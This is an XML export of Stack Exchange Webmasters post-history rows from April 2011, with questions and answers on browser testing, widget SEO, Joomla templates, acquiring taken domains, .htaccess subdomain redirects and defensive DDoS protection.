  <row Id="28316" PostHistoryTypeId="2" PostId="12394" RevisionGUID="c62a5c82-cc03-4de1-ab89-32bfd57bebba" CreationDate="2011-04-18T08:01:46.037" UserId="1089" Text="I use IETester: &#xD;&#xA;&#xD;&#xA;http://www.my-debugbar.com/wiki/IETester/HomePage&#xD;&#xA;&#xD;&#xA;Also a couple of useful links thrown up in these questions:&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/10865/i-want-to-test-my-web-site-on-ie6-ie7-ie8-and-ie9&#xD;&#xA;&#xD;&#xA;http://webmasters.stackexchange.com/questions/21/how-can-i-see-what-my-web-site-looks-like-in-various-browsers" />
  <row Id="28317" PostHistoryTypeId="5" PostId="12384" RevisionGUID="89499961-a028-4de5-bacd-e72c16ce7aa3" CreationDate="2011-04-18T08:11:49.107" UserId="4786" Comment="removed greeting" Text="I made a widget that would ideally live on other sites.  Here is an example:&#xD;&#xA;http://www.comehike.com/outdoors/widget.php?type=hike&amp;hike_id=108&amp;width=500&amp;height=500&#xD;&#xA;&#xD;&#xA;I guess since the widget would link back to me, it would be an SEO boost for my site.  Is that correct?  Or would it be just an SEO boost for that particular URL?&#xD;&#xA;&#xD;&#xA;If it is just an SEO boost for the particular URL, it does me little good since that page does not link to any of my other pages.&#xD;&#xA;&#xD;&#xA;Am I thinking about this correctly?  How are these things typically handled so that there is  a benefit to my site's SEO?" />
  <row Id="28318" PostHistoryTypeId="24" PostId="12384" RevisionGUID="89499961-a028-4de5-bacd-e72c16ce7aa3" CreationDate="2011-04-18T08:11:49.107" Comment="Proposed by 4786 approved by 3 edit id of 132" />
  <row Id="28321" PostHistoryTypeId="5" PostId="12381" RevisionGUID="fdcde7e8-a560-46e5-ab61-8822a3983e15" CreationDate="2011-04-18T08:12:15.457" UserId="4786" Comment="removed greeting" Text="I have developed a widget that shows a story of a hike or an outdoor outing on a google map.  Here is an example:&#xD;&#xA;&#xD;&#xA;http://www.comehike.com/outdoors/widget.php?type=hike&amp;hike_id=108&amp;width=500&amp;height=500&#xD;&#xA;&#xD;&#xA;What I am wondering is - other than asking people one by one, how do I get outdoor bloggers to use my widget on their sites?&#xD;&#xA;&#xD;&#xA;I made a page to create the widget here:&#xD;&#xA;http://www.comehike.com/outdoors/trip_story.php&#xD;&#xA;&#xD;&#xA;But it all seems clunky so far.  Any suggestions would be appreciated :)" />
  <row Id="28322" PostHistoryTypeId="24" PostId="12381" RevisionGUID="fdcde7e8-a560-46e5-ab61-8822a3983e15" CreationDate="2011-04-18T08:12:15.457" Comment="Proposed by 4786 approved by 3 edit id of 133" />
  <row Id="28323" PostHistoryTypeId="25" PostId="12393" RevisionGUID="e1168fdc-2989-4c2b-b706-3752513d4568" CreationDate="2011-04-18T09:09:17.787" Comment="http://twitter.com/#!/StackWebmasters/status/59906334111444993" />
  <row Id="28324" PostHistoryTypeId="2" PostId="12395" RevisionGUID="690d1237-7cfa-47a0-9526-5be6bdb33575" CreationDate="2011-04-18T09:10:14.797" UserId="3790" Text="How can I remove the article title from the readmore link in Joomla?  &#xD;&#xA;I don't have sh404SEF.  &#xD;&#xA;&#xD;&#xA;    &lt;?php if ($this-&gt;item-&gt;readmore_register) :&#xD;&#xA;			echo JText::_('Register to read more...');&#xD;&#xA;		elseif ($readmore = $this-&gt;item-&gt;params-&gt;get('readmore')) :&#xD;&#xA;			echo $readmore;&#xD;&#xA;		else :&#xD;&#xA;			echo JText::sprintf('Read more', $this-&gt;escape($this-&gt;item-&gt;title));&#xD;&#xA;			&#xD;&#xA;		endif; ?&gt;&#xD;&#xA;&#xD;&#xA;Change this rule:    &#xD;&#xA;&#xD;&#xA;    echo JText::sprintf('Read more', $this-&gt;escape($this-&gt;item-&gt;title));&#xD;&#xA;&#xD;&#xA;To:  &#xD;&#xA;  &#xD;&#xA;    echo 'Read More';&#xD;&#xA;&#xD;&#xA;Is also not corrent  because it's not multilangual.&#xD;&#xA;&#xD;&#xA;Anyone knows the solution?" />
  <row Id="28325" PostHistoryTypeId="1" PostId="12395" RevisionGUID="690d1237-7cfa-47a0-9526-5be6bdb33575" CreationDate="2011-04-18T09:10:14.797" UserId="3790" Text="Remove readmore titles from joomla" />
  <row Id="28326" PostHistoryTypeId="3" PostId="12395" RevisionGUID="690d1237-7cfa-47a0-9526-5be6bdb33575" CreationDate="2011-04-18T09:10:14.797" UserId="3790" Text="&lt;joomla&gt;" />
  <row Id="28327" PostHistoryTypeId="2" PostId="12396" RevisionGUID="446d3f47-74bd-4e4a-949e-f97d66b00164" CreationDate="2011-04-18T09:32:36.703" UserId="2739" Text="Using folders for css and js as opposed to individual files depends entirely on the scope of your project.&#xD;&#xA;&#xD;&#xA;If you have, or will potentially need more than one script or stylesheet then organising them into folders will make it easier to maintain and manage the site.&#xD;&#xA;&#xD;&#xA;If you do decide to use folders then again, giving these long or short names is a personal preference.&#xD;&#xA;&#xD;&#xA;Although the one letter names save bytes and can look a little neater, in my experience if you have more than a handful of people working on the site this can become confusing." />
  <row Id="28328" PostHistoryTypeId="17" PostId="12398" RevisionGUID="86046ed4-6d15-440a-b902-9a1ea668d1fd" CreationDate="2011-04-18T09:53:54.130" UserId="-1" Comment="from http://stackoverflow.com/questions/5700524/getting-a-domain-name/5700576#5700576" Text="" />
  <row Id="28329" PostHistoryTypeId="17" PostId="12399" RevisionGUID="feb03905-078f-4a54-b0ac-1b4cf1c6e6fd" CreationDate="2011-04-18T09:53:54.130" UserId="-1" Comment="from http://stackoverflow.com/questions/5700524/getting-a-domain-name/5700595#5700595" Text="" />
  <row Id="28330" PostHistoryTypeId="17" PostId="12400" RevisionGUID="380196a6-2e67-49f9-85c6-18e34e55b61f" CreationDate="2011-04-18T09:53:54.130" UserId="-1" Comment="from http://stackoverflow.com/questions/5700524/getting-a-domain-name/5700663#5700663" Text="" />
  <row Id="28331" PostHistoryTypeId="2" PostId="12398" RevisionGUID="0963d06c-9518-4a62-8221-1985038c2cef" CreationDate="2011-04-18T08:56:24.450" UserDisplayName="icnivad" Text="[GoDaddy.com][1] has some great tools and services that will help in your efforts to get domains that are already taken (in the event that they are not renewed, they can attempt to be the first to grab it), and also some tools for looking for similar or variations of domain names you want.&#xD;&#xA;&#xD;&#xA;I highly recommend them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.godaddy.com/default.aspx" />
  <row Id="28332" PostHistoryTypeId="2" PostId="12399" RevisionGUID="47140976-e32c-4b7c-bbb1-d2edb6f772d8" CreationDate="2011-04-18T08:57:41.910" UserDisplayName="Majed" Text="Try with this website: [Pool.com][1]&#xD;&#xA;&#xD;&#xA;It's one of the best sites to snip the domains.&#xD;&#xA;&#xD;&#xA;Godaddy also Provide the feature but I prefer [Pool.com][2] or [Snapnames.com][3]&#xD;&#xA;&#xD;&#xA;with these sites you can buy the domain if it will expire only and the process called &quot;Snipping&quot;.&#xD;&#xA;&#xD;&#xA;=*=&#xD;&#xA;&#xD;&#xA;But if the Domain is for Sell:&#xD;&#xA;you can find it here : [www.sedo.com][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pool.com&#xD;&#xA;  [2]: http://pool.com&#xD;&#xA;  [3]: https://www.snapnames.com/&#xD;&#xA;  [4]: http://www.sedo.com" />
  <row Id="28333" PostHistoryTypeId="2" PostId="12400" RevisionGUID="b199a997-01e8-47e5-9884-68f72bdb6f97" CreationDate="2011-04-18T09:05:26.997" UserDisplayName="stefano" Text="searching a bit shows an article: [How to Buy a Domain Name Owned by Someone Else][2]&#xD;&#xA;wich might get you an idea. because in my opinion this is something you can only learn by experience.&#xD;&#xA;&#xD;&#xA;From my experience buying someone else's domain can become a time consuming task.&#xD;&#xA;for example you might want to make use of a transferring service like [escrow.com][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://escrow.com&#xD;&#xA;  [2]: http://www.allbusiness.com/technology/internet-domain-names/2631-1.html" />
  <row Id="28334" PostHistoryTypeId="2" PostId="12397" RevisionGUID="85879f2d-ddc5-4500-948d-ff92c9e9578b" CreationDate="2011-04-18T08:50:59.090" UserDisplayName="Lievcin" Text="I'm in the process of creating this website, but the name I wanted for the hosting seems to be taken. Namejet seems to be auctioning it, but it seems a bit too fishy for my taste. I go to the link and there's nothing there, just ads. &#xD;&#xA;&#xD;&#xA;Can anyone recommend what the best way to get a domain is, except for making an extremely long one nobody will remember? &#xD;&#xA;&#xD;&#xA;sorry for the extremely noob question, but hey, need to start somewhere!&#xD;&#xA;&#xD;&#xA;thank a lot!" />
  <row Id="28335" PostHistoryTypeId="1" PostId="12397" RevisionGUID="85879f2d-ddc5-4500-948d-ff92c9e9578b" CreationDate="2011-04-18T08:50:59.090" UserDisplayName="Lievcin" Text="Getting a domain name" />
  <row Id="28336" PostHistoryTypeId="3" PostId="12397" RevisionGUID="85879f2d-ddc5-4500-948d-ff92c9e9578b" CreationDate="2011-04-18T08:50:59.090" UserDisplayName="Lievcin" Text="&lt;web-hosting&gt;&lt;domains&gt;&lt;dns&gt;" />
  <row Id="28337" PostHistoryTypeId="17" PostId="12397" RevisionGUID="971cffea-9b8c-4523-9f24-2fb2e21e81cb" CreationDate="2011-04-18T09:53:54.130" UserId="-1" Comment="from http://stackoverflow.com/questions/5700524/getting-a-domain-name" Text="" />
  <row Id="28338" PostHistoryTypeId="5" PostId="12397" RevisionGUID="c98a7e94-f23b-45e7-86d4-23bd1b949d64" CreationDate="2011-04-18T09:54:44.163" UserId="3" Comment="added 20 characters in body; edited tags; edited title" Text="I'm in the process of creating this website, but the name I wanted for the hosting seems to be taken. Namejet seems to be auctioning it, but it seems a bit too fishy for my taste. I go to the link and there's nothing there, just ads. &#xD;&#xA;&#xD;&#xA;Can anyone recommend what the best way to get a domain owned by someone else is? My only alternative seems to be making an extremely long one nobody will remember!&#xD;&#xA;&#xD;&#xA;Sorry for the extremely noob question, but hey, need to start somewhere.&#xD;&#xA;" />
  <row Id="28339" PostHistoryTypeId="4" PostId="12397" RevisionGUID="c98a7e94-f23b-45e7-86d4-23bd1b949d64" CreationDate="2011-04-18T09:54:44.163" UserId="3" Comment="added 20 characters in body; edited tags; edited title" Text="Getting a domain name owned by someone else?" />
  <row Id="28340" PostHistoryTypeId="6" PostId="12397" RevisionGUID="c98a7e94-f23b-45e7-86d4-23bd1b949d64" CreationDate="2011-04-18T09:54:44.163" UserId="3" Comment="added 20 characters in body; edited tags; edited title" Text="&lt;domains&gt;&lt;web-hosting&gt;&lt;dns&gt;" />
  <row Id="28342" PostHistoryTypeId="17" PostId="12403" RevisionGUID="63c05055-9e40-4fb8-bce6-ec327e4326ee" CreationDate="2011-04-18T10:02:48.350" UserId="-1" Comment="from http://stackoverflow.com/questions/5694277/seo-full-redirect-from-subdomain-to-root-domain/5695569#5695569" Text="" />
  <row Id="28343" PostHistoryTypeId="2" PostId="12403" RevisionGUID="bdcc6450-a05d-40b3-b8e6-48856f9041b5" CreationDate="2011-04-17T18:38:49.877" UserDisplayName="anubhava" Text="Try putting these rules in your .htacccess file:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    Options +FollowSymlinks -MultiViews&#xD;&#xA;&#xD;&#xA;    # handles http redirect&#xD;&#xA;    RewriteCond %{SERVER_PORT} =80&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^beta\.mysite\.com$ [NC] &#xD;&#xA;    RewriteRule ^/?(.*)$ http://www.mysite.com/$1 [R=301,L,QSA,NE]&#xD;&#xA;    &#xD;&#xA;    # handles https redirect&#xD;&#xA;    RewriteCond %{SERVER_PORT} =443&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^beta\.mysite\.com$ [NC] &#xD;&#xA;    RewriteRule ^/?(.*)$ https://www.mysite.com/$1 [R=301,L,QSA,NE]&#xD;&#xA;&#xD;&#xA;R=301 will redirect with https status 301&#xD;&#xA;&#xD;&#xA;L will make last rule&#xD;&#xA;&#xD;&#xA;NE is for no escaping query string&#xD;&#xA;&#xD;&#xA;QSA will append your existing query parameters&#xD;&#xA;&#xD;&#xA;$1 is your REQUEST_URI&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28344" PostHistoryTypeId="2" PostId="12402" RevisionGUID="c023c12a-5a0c-4566-be71-c2cf714bf69c" CreationDate="2011-04-17T15:10:47.307" UserDisplayName="Jhourlad Estrella" Text="I recently setup a staging site on our server's subdomain. Somehow Google managed to crawl the pages. Now we are ready to transfer the files to the main domain and delete the files on the  subdomain. This is a big problem for our SEO which will make the pages on the root domain appear to be duplicates of the indexed pages on the subdomain. All paths on the subdomain is exactly the same with ones on the root domain, only the host part is different.&#xD;&#xA;&#xD;&#xA;Here are some of the many different path structures of the site:&#xD;&#xA;&#xD;&#xA;    http://beta.mysite.com/ --&gt; http://www.mysite.com&#xD;&#xA;    http://beta.mysite.com/index.php?class=xxx&amp;func=xxxx --&gt; http://wwww.mysite.com/index.php?class=xxx&amp;func=xxxx&#xD;&#xA;    http://beta.mysite.com/class/xxx/func/xxx --&gt; http://www.mysite.com/class/xxx/func/xxx&#xD;&#xA;    http://beta.mysite.com/seo-text-here-class-xxx-func-xxx --&gt; http://www.mysite.com/seo-text-here-class-xxx-func-xxx&#xD;&#xA;    http://beta.mysite.com/xxx-xxx.html --&gt; http://www.mysite.com/xxx-xxx.html&#xD;&#xA;&#xD;&#xA;As you can see only the host part changed, everything else remains as it is.&#xD;&#xA;&#xD;&#xA;QUESTION: Is it possible to redirect requests on the subdomain to do a SEO friendly redirect to the actual files on the root domain without having to explicitly write each rule for different path structures?&#xD;&#xA;&#xD;&#xA;NOTE: The redirection should be transparent to users which means they should see that the page actually redirects to the main site." />
  <row Id="28345" PostHistoryTypeId="1" PostId="12402" RevisionGUID="c023c12a-5a0c-4566-be71-c2cf714bf69c" CreationDate="2011-04-17T15:10:47.307" UserDisplayName="Jhourlad Estrella" Text="SEO: Full Redirect from Subdomain to Root Domain" />
  <row Id="28346" PostHistoryTypeId="3" PostId="12402" RevisionGUID="c023c12a-5a0c-4566-be71-c2cf714bf69c" CreationDate="2011-04-17T15:10:47.307" UserDisplayName="Jhourlad Estrella" Text="&lt;htaccess&gt;&lt;seo&gt;" />
  <row Id="28347" PostHistoryTypeId="17" PostId="12402" RevisionGUID="4a7d6af4-8f6b-43b6-b088-5bbe4efdba6f" CreationDate="2011-04-18T10:02:48.350" UserId="-1" Comment="from http://stackoverflow.com/questions/5694277/seo-full-redirect-from-subdomain-to-root-domain" Text="" />
  <row Id="28348" PostHistoryTypeId="2" PostId="12404" RevisionGUID="cebf5acb-8309-4275-97a6-f656d693d738" CreationDate="2011-04-18T10:14:22.620" UserId="480" Text="**Disclosure: A family member works for [Adversor][1].**&#xD;&#xA;&#xD;&#xA;There is no such thing as 100% DDoS protection at the minute (unless someone has more computing power than the rest of the world combined).&#xD;&#xA;&#xD;&#xA;Some offer a range of Reverse Proxies, some use adaptive black/white listing (sometimes teaming up with other services for more accurate lists - distributed DDoS protection if you like) and the finally some use application firewalls.&#xD;&#xA;&#xD;&#xA;Generally as long as you have protected against [Slowloris][2], then your next port of call would be to look at an Application Firewall and bot-proof forms (but this requires a development style that works in tandem otherwise you'll create customer facing DoS situations not solve them).&#xD;&#xA;&#xD;&#xA;Reverse proxies will help in the case of a DDoS (especially if they are Geo targeted so only one region would be affected). Be warned that you'll have to invest some time checking the HTTP requests/responses work properly. A lot of DDoS protection services will only point FastFlux DNS records towards their servers after a DDoS attack has been detected (to keep running costs down) so expect a bit of downtime during the switchover.&#xD;&#xA;&#xD;&#xA;Many Webmasters with high(ish) profile sites and a low budget (generally on a single server) will just protect against Slowloris and then use code-level protection instead of application firewalls. If they need to scale, reverse proxies from a non-DDoS provider (i.e. a CDN) can be most cost effective, flexible and withstand more traffic.&#xD;&#xA;&#xD;&#xA;However if you have the budget/server-sprawl/awkward-development and want more peace of mind, you can outsource it to a specialist DDoS Protection service.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adversor.net/&#xD;&#xA;  [2]: http://ha.ckers.org/slowloris/" />
  <row Id="28349" PostHistoryTypeId="2" PostId="12405" RevisionGUID="4d8bd42a-2c20-4047-86fb-5c8505d49450" CreationDate="2011-04-18T10:43:01.550" UserId="3610" Text="I have a two column layout with text to the left and a slideshow to the right. In order that I may float the text around the right column I would need to place the right column first with a right float. This means that I have all my images before the page text in my html. &#xD;&#xA;&#xD;&#xA;It seems apparent that the search engine rank of a page for keywords is determined, at least mainly, by the text content of the page. Would the described order of html hurt my ranking?&#xD;&#xA;&#xD;&#xA;I guess a bonus question would be how to float around a right column, see reddit for an example, though I think I should ask this on another stackexchange site." />
  <row Id="28350" PostHistoryTypeId="1" PostId="12405" RevisionGUID="4d8bd42a-2c20-4047-86fb-5c8505d49450" CreationDate="2011-04-18T10:43:01.550" UserId="3610" Text="SEO - Does order of html carry importance - text before images preferred over opposite?" />
  <row Id="28351" PostHistoryTypeId="3" PostId="12405" RevisionGUID="4d8bd42a-2c20-4047-86fb-5c8505d49450" CreationDate="2011-04-18T10:43:01.550" UserId="3610" Text="&lt;seo&gt;&lt;markup&gt;" />
  <row Id="28352" PostHistoryTypeId="5" PostId="12404" RevisionGUID="75effdb5-166f-4d15-9ef9-3c00868bbe24" CreationDate="2011-04-18T11:04:10.967" UserId="480" Comment="added 11 characters in body" Text="**Disclosure: A family member works for [Adversor][1].**&#xD;&#xA;&#xD;&#xA;There is no such thing as 100% DDoS protection at the minute (unless someone has more computing power than the rest of the world combined).&#xD;&#xA;&#xD;&#xA;Some offer a range of Reverse Proxies, some use adaptive black/white listing (sometimes teaming up with other services for more accurate lists - distributed DDoS protection if you like) and the finally some use application firewalls.&#xD;&#xA;&#xD;&#xA;Generally as long as you have protected against [Slowloris][2], then your next port of call would be to look at an Application Firewall and bot-proof forms (but this requires a development style that works in tandem otherwise you'll create customer facing DoS situations not solve them).&#xD;&#xA;&#xD;&#xA;Reverse proxies will help in the case of a DDoS (especially if they are Geo targeted so only one region would be affected). Be warned that you'll have to invest some time checking the HTTP requests/responses work properly. A lot of DDoS protection services will only point FastFlux DNS records towards their servers after a DDoS attack has been detected (to keep running costs down) so expect a bit of downtime during the switchover.&#xD;&#xA;&#xD;&#xA;Many Webmasters with high(ish) profile sites and a low budget (generally on a single server) will just protect against Slowloris and then use code-level protection instead of application firewalls. If they need to scale, reverse proxies from a non-DDoS Protection provider (i.e. a CDN) can be most cost effective, flexible and withstand more traffic.&#xD;&#xA;&#xD;&#xA;However if you have the budget/server-sprawl/awkward-development and want more peace of mind, you can outsource it to a specialist DDoS Protection service.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adversor.net/&#xD;&#xA;  [2]: http://ha.ckers.org/slowloris/" />
  <row Id="28353" PostHistoryTypeId="2" PostId="12406" RevisionGUID="ff359ecc-79aa-471d-9466-b8f82a123b43" CreationDate="2011-04-18T11:23:08.073" UserId="3461" Text="Text at top of code supposedly has more weight.&#xD;&#xA;&#xD;&#xA;( Can't you float left both (you can get the help of margin-left and right) ? or if you can go position absolute(I think you can do also with relative) and fixed widths using &quot;left&quot;, etc, to position.  )" />
  <row Id="28354" PostHistoryTypeId="5" PostId="12406" RevisionGUID="4985e91d-ea84-43f9-bf84-3c97d6793767" CreationDate="2011-04-18T11:29:42.323" UserId="3461" Comment="added 38 characters in body" Text="Text at top of code supposedly has more weight. (but google changes algorythms often)&#xD;&#xA;&#xD;&#xA;( Can't you float left both (you can get the help of margin-left and right) ? or if you can go position absolute(I think you can do also with relative) and fixed widths using &quot;left&quot;, etc, to position.  )" />
  <row Id="28355" PostHistoryTypeId="25" PostId="12405" RevisionGUID="a0ebdde8-649d-4084-947c-6ad3dae04e17" CreationDate="2011-04-18T12:09:17.750" Comment="http://twitter.com/#!/StackWebmasters/status/59951632942776320" />
  <row Id="28356" PostHistoryTypeId="2" PostId="12407" RevisionGUID="221808e3-2ef5-4ec4-81be-59f8dcda6c82" CreationDate="2011-04-18T12:12:13.973" UserId="576" Text="As per [this SEOMoz article][1], as long as your domain name and hosting country stay the same, switching from one reliable host to another should have no SEO impact. *If you're changing your domain name and/**or hosting country**, that can definitely affect your ranking and is a much more complex issue.*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28357" PostHistoryTypeId="2" PostId="12408" RevisionGUID="e1f5a146-055f-4501-af45-ea4b628e9008" CreationDate="2011-04-18T12:36:57.270" UserId="2739" Text="There are lots of tutorials out there fore creating three column layouts, either fixed widths or flexible, fluid columns like you've asked for.&#xD;&#xA;&#xD;&#xA;This is a good tutorial with a range of different layouts that should help you get started.&#xD;&#xA;&#xD;&#xA;http://matthewjamestaylor.com/blog/ultimate-multi-column-liquid-layouts-em-and-pixel-widths" />
  <row Id="28358" PostHistoryTypeId="2" PostId="12409" RevisionGUID="d54357b4-8601-4229-8499-3bf9afb411ee" CreationDate="2011-04-18T13:00:54.377" UserId="480" Text="You can use [WordPress][1] with the [GD Star Rating][2] plugin. You may have to make a post for each website you list, or create a new post type (or use a [template][3]).&#xD;&#xA;&#xD;&#xA;There is a [good O'Reilly book on the subject][4] of rating systems if you want to tweak the algorithms.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/&#xD;&#xA;  [2]: http://wordpress.org/extend/plugins/gd-star-rating/screenshots/&#xD;&#xA;  [3]: http://www.wpbeginner.com/wp-themes/create-custom-single-post-templates-for-specific-posts-or-sections-in-wordpress/&#xD;&#xA;  [4]: http://www.amazon.co.uk/Building-Reputation-Systems-Randy-Farmer/dp/059615979X/ref=sr_1_1?ie=UTF8&amp;qid=1303131495&amp;sr=8-1" />
  <row Id="28359" PostHistoryTypeId="5" PostId="12393" RevisionGUID="82936289-39f2-40b1-912c-179501c997d2" CreationDate="2011-04-18T13:20:44.033" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How can I see what my web site looks like in various browsers?](http://webmasters.stackexchange.com/questions/21/how-can-i-see-what-my-web-site-looks-like-in-various-browsers)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi,&#xD;&#xA;&#xD;&#xA;at the moment I develop a ASP.Net Page Community board.&#xD;&#xA;I have installed FF4, IE9 and Opera 10.&#xD;&#xA;&#xD;&#xA;A friend told me, my page looks bad in IE7 and maybe IE8.&#xD;&#xA;Is there a tool how I can look the page for IE7/8, FF2/3 and maybe Opera 9?&#xD;&#xA;You know, older versions of browsers without uninstalling my browsers." />
  <row Id="28360" PostHistoryTypeId="10" PostId="12393" RevisionGUID="f0cc0c03-848f-43e7-b122-237542143536" CreationDate="2011-04-18T13:20:43.613" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="28361" PostHistoryTypeId="2" PostId="12410" RevisionGUID="7e50d7b5-f383-40a9-8662-14c44511755c" CreationDate="2011-04-18T14:30:10.290" UserId="6937" Text="I need a script that can support basically only the profile part of a social site.&#xD;&#xA;&#xD;&#xA;Gallery&#xD;&#xA;Avatar&#xD;&#xA;Custom fields for the profile&#xD;&#xA;User activation must be authorized by an admin&#xD;&#xA;&#xD;&#xA;Is there something that can do this?&#xD;&#xA;&#xD;&#xA;Thank you&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28362" PostHistoryTypeId="1" PostId="12410" RevisionGUID="7e50d7b5-f383-40a9-8662-14c44511755c" CreationDate="2011-04-18T14:30:10.290" UserId="6937" Text="I need an open source php social script, minus the social features." />
  <row Id="28363" PostHistoryTypeId="3" PostId="12410" RevisionGUID="7e50d7b5-f383-40a9-8662-14c44511755c" CreationDate="2011-04-18T14:30:10.290" UserId="6937" Text="&lt;open-source&gt;&lt;social-networks&gt;" />
  <row Id="28364" PostHistoryTypeId="4" PostId="12323" RevisionGUID="c35d08b6-516a-4ed3-bda5-6d3335d4f6c7" CreationDate="2011-04-18T14:31:07.447" UserId="1374" Comment="edited title" Text="My website uses Facebook Connect as a login option, should I have an application AND a &quot;page&quot; in the Facebook ecosystem?" />
  <row Id="28365" PostHistoryTypeId="6" PostId="12410" RevisionGUID="89cebfe9-0901-4428-9212-3cd05809b716" CreationDate="2011-04-18T14:36:57.260" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;looking-for-a-script&gt;&lt;open-source&gt;&lt;social-networks&gt;" />
  <row Id="28366" PostHistoryTypeId="2" PostId="12411" RevisionGUID="fd836fac-e981-43e6-8d7d-5f76b6fc41fb" CreationDate="2011-04-18T14:47:17.067" UserId="6938" Text="Try this one :&#xD;&#xA;http://sye.dk/sfpg/" />
  <row Id="28367" PostHistoryTypeId="25" PostId="12410" RevisionGUID="9a4f9e6a-d766-413c-9f21-8ad5fa848fb6" CreationDate="2011-04-18T15:09:17.650" Comment="http://twitter.com/#!/StackWebmasters/status/59996931488882688" />
  <row Id="28368" PostHistoryTypeId="2" PostId="12412" RevisionGUID="37d08a82-c595-46a6-8b84-ba28343175c3" CreationDate="2011-04-18T15:10:05.013" UserId="480" Text="[World Newspapers][1] has a pretty comprehensive list that is regularly updated. Failing that the [British Library][2] and the [Library of Congress][3] also have listings of their top collection to preserve (usually a strong indication of them being good publications).&#xD;&#xA;&#xD;&#xA;All three will cover publications from around the world.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.world-newspapers.com&#xD;&#xA;  [2]: http://www.bl.uk&#xD;&#xA;  [3]: http://www.loc.gov" />
  <row Id="28369" PostHistoryTypeId="2" PostId="12413" RevisionGUID="b2205acc-ce67-420a-8d25-7d5345f750bd" CreationDate="2011-04-18T15:40:26.090" UserId="6901" Text="Try adding your widget to [google gadgets][1], webmasters often look there for widgets to add to their site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/ig/directory?synd=open" />
  <row Id="28370" PostHistoryTypeId="6" PostId="11700" RevisionGUID="25a5bf59-67ec-4890-8e01-273bd34a9e81" CreationDate="2011-04-18T16:48:46.743" UserId="3" Comment="edited tags" Text="&lt;seo&gt;&lt;robots.txt&gt;" />
  <row Id="28371" PostHistoryTypeId="2" PostId="12414" RevisionGUID="6586bee2-05ad-45dc-91ba-8d2ca93e12d0" CreationDate="2011-04-18T17:00:47.220" UserId="6858" Text="At a microscopic level it might make a difference, but I would spend much more time worrying about things like your information architecture, server performance and the quality and quantity or links to your site.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28372" PostHistoryTypeId="2" PostId="12415" RevisionGUID="6a15c53c-0acb-47c5-a334-d244edb763ed" CreationDate="2011-04-18T17:28:09.797" UserId="6850" Text="Quick question to speed my life up considerable &#xD;&#xA;&#xD;&#xA;Can you reverse engineer pagination, in other words instead of having to click through 20 pages of 10 results on each&#xD;&#xA;&#xD;&#xA;Is there any application that would allow me to see all the results on one page. &#xD;&#xA;&#xD;&#xA;Thanks again . &#xD;&#xA;&#xD;&#xA;" />
  <row Id="28373" PostHistoryTypeId="1" PostId="12415" RevisionGUID="6a15c53c-0acb-47c5-a334-d244edb763ed" CreationDate="2011-04-18T17:28:09.797" UserId="6850" Text="Reverse pagination" />
  <row Id="28374" PostHistoryTypeId="3" PostId="12415" RevisionGUID="6a15c53c-0acb-47c5-a334-d244edb763ed" CreationDate="2011-04-18T17:28:09.797" UserId="6850" Text="&lt;table&gt;" />
  <row Id="28375" PostHistoryTypeId="25" PostId="12415" RevisionGUID="a008b76d-971a-4105-9a37-d0d58957b161" CreationDate="2011-04-18T18:09:17.740" Comment="http://twitter.com/#!/StackWebmasters/status/60042229384888320" />
  <row Id="28376" PostHistoryTypeId="2" PostId="12416" RevisionGUID="fb7ae760-ac12-4527-9fee-57eb20a71a42" CreationDate="2011-04-18T18:26:05.160" UserId="5264" Text="So you know when you go to a domain that say you want to buy, and the only thing that comes up is a bunch of links to other sites, and stuff like that?&#xD;&#xA;&#xD;&#xA;How do I set something like that up for my old domain that I want to hold onto for the right buyer but, also make some small income while I have it?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="28377" PostHistoryTypeId="1" PostId="12416" RevisionGUID="fb7ae760-ac12-4527-9fee-57eb20a71a42" CreationDate="2011-04-18T18:26:05.160" UserId="5264" Text="Old Domain Pay-per-click" />
  <row Id="28378" PostHistoryTypeId="3" PostId="12416" RevisionGUID="fb7ae760-ac12-4527-9fee-57eb20a71a42" CreationDate="2011-04-18T18:26:05.160" UserId="5264" Text="&lt;domains&gt;&lt;ads&gt;" />
  <row Id="28379" PostHistoryTypeId="2" PostId="12417" RevisionGUID="011bb5d3-03ee-43d8-a4d1-42e93654a4ac" CreationDate="2011-04-18T18:26:06.580" UserId="4299" Text="I have this meticulous problem,&#xD;&#xA;&#xD;&#xA;1. I have a test html page whose body content is a single div tag.&#xD;&#xA;2. I made the width and height of the div tag to 100% and colored the background red.&#xD;&#xA;&#xD;&#xA;And I get irritated by the white space border around the div tag.&#xD;&#xA;So my questions are:&#xD;&#xA;&#xD;&#xA;1. What is the white space border around that div element?&#xD;&#xA;2. How do I manipulate it OR get rid of it?" />
  <row Id="28380" PostHistoryTypeId="1" PostId="12417" RevisionGUID="011bb5d3-03ee-43d8-a4d1-42e93654a4ac" CreationDate="2011-04-18T18:26:06.580" UserId="4299" Text="&lt;body&gt; and &lt;div&gt; issue." />
  <row Id="28381" PostHistoryTypeId="3" PostId="12417" RevisionGUID="011bb5d3-03ee-43d8-a4d1-42e93654a4ac" CreationDate="2011-04-18T18:26:06.580" UserId="4299" Text="&lt;html&gt;" />
